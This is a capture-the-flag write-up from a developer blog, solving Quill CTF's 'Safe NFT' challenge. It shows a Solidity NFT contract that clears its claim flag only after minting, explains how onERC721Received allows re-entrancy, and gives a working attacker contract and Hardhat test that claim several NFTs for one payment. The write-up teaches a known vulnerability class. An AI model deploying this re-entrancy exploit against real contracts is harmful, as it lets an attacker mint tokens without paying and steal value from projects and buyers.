DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on

Quill CTF: 4. Safe NFT

Objective of CTF:

  • Claim multiple NFTs for the price of one.

Target contract:

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; contract SafeNFT is ERC721Enumerable { uint256 price; mapping(address => bool) public canClaim; constructor(string memory tokenName, string memory tokenSymbol, uint256 _price) ERC721(tokenName, tokenSymbol) { price = _price; // e.g. price = 0.01 ETH } function buyNFT() external payable { require(price == msg.value, "INVALID_VALUE"); canClaim[msg.sender] = true; } function claim() external { require(canClaim[msg.sender], "CANT_MINT"); _safeMint(msg.sender, totalSupply()); canClaim[msg.sender] = false; } } 
Enter fullscreen mode Exit fullscreen mode

The Attack

This contract has the good ol' re-entrancy exploit. The contract is rather innocent-looking, and the re-entrancy comes from a detail of ERC721 standard: the onERC721Received function.

First, what is re-entrancy? Re-entrancy is when a contract is executing a function, and before the effects of that function can take place, one can enter there again to re-execute the same function without suffering from the effects. For example, you could have a function that sends you money first, and marks the storage value sent=true next; you can keep recieving money by re-entering the function before sent=true takes place!

A similar pattern can be observed in this target contract, where canClaim[msg.sender] = false takes place after we actually receive our token. If this were to take place before we receive our token, re-entering the function would not work because of the require(canClaim[msg.sender], "CANT_MINT") requirement.

So how do we re-enter to claim function? That is where onERC721Received comes in: this function is executed if the contract supports IERC721Receiver interface and implements this function. Within this function, we can call claim again, and successfully re-enter!

We will write an attacker contract that implements IERC721Receiver, and write the re-enterancy logic within onERC721Received. We will not only re-enter, but also forward the claimed tokens to ourselves (the owner of the contract). This way, we pay the price of a single NFT but claim as many as we would like.

Proof of Concept

The attacker contract is as follows:

contract SafeNFTAttacker is IERC721Receiver { uint private claimed; uint private count; address private owner; SafeNFT private target; constructor(uint count_, address targetAddr_) { target = SafeNFT(targetAddr_); count = count_; owner = msg.sender; } // initiate the pwnage by purchasing a single NFT // we will re-enter later via onERC721Received function pwn() external payable { target.buyNFT{value: msg.value}(); target.claim(); } function claimNext() internal { // keep record of the current claim claimed++; // if we want to keep on claiming, continue re-entering // stop if you think they've had enough :) if (claimed != count) { target.claim(); } } function onERC721Received( address /*operator*/, address /*from*/, uint256 tokenId, bytes calldata /*data*/ ) external override returns (bytes4) { // forward the claimed NFT to yourself target.transferFrom(address(this), owner, tokenId); // re-enter claimNext(); return IERC721Receiver.onERC721Received.selector; } } 
Enter fullscreen mode Exit fullscreen mode

The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.

describe('QuillCTF 4: Safe NFT', () => { let contract: SafeNFT; let attackerContract: SafeNFTAttacker; let owner: SignerWithAddress; let attacker: SignerWithAddress; const price = parseEther('0.1'); const count = 3; // as many as you want before(async () => { [owner, attacker] = await ethers.getSigners(); contract = await ethers.getContractFactory('SafeNFT', owner).then(f => f.deploy('Safe NFT', 'SFNFT', price)); await contract.deployed(); }); it('should claim multiple nfts', async () => { // deploy the attacker contract attackerContract = await ethers .getContractFactory('SafeNFTAttacker', attacker) .then(f => f.deploy(count, contract.address)); await attackerContract.deployed(); // initiate first claim and consequent re-entries via pwn attackerContract.pwn({value: price}); // you should have your requested balance :) expect(await contract.balanceOf(attacker.address)).to.eq(count); }); }); 
Enter fullscreen mode Exit fullscreen mode

Top comments (0)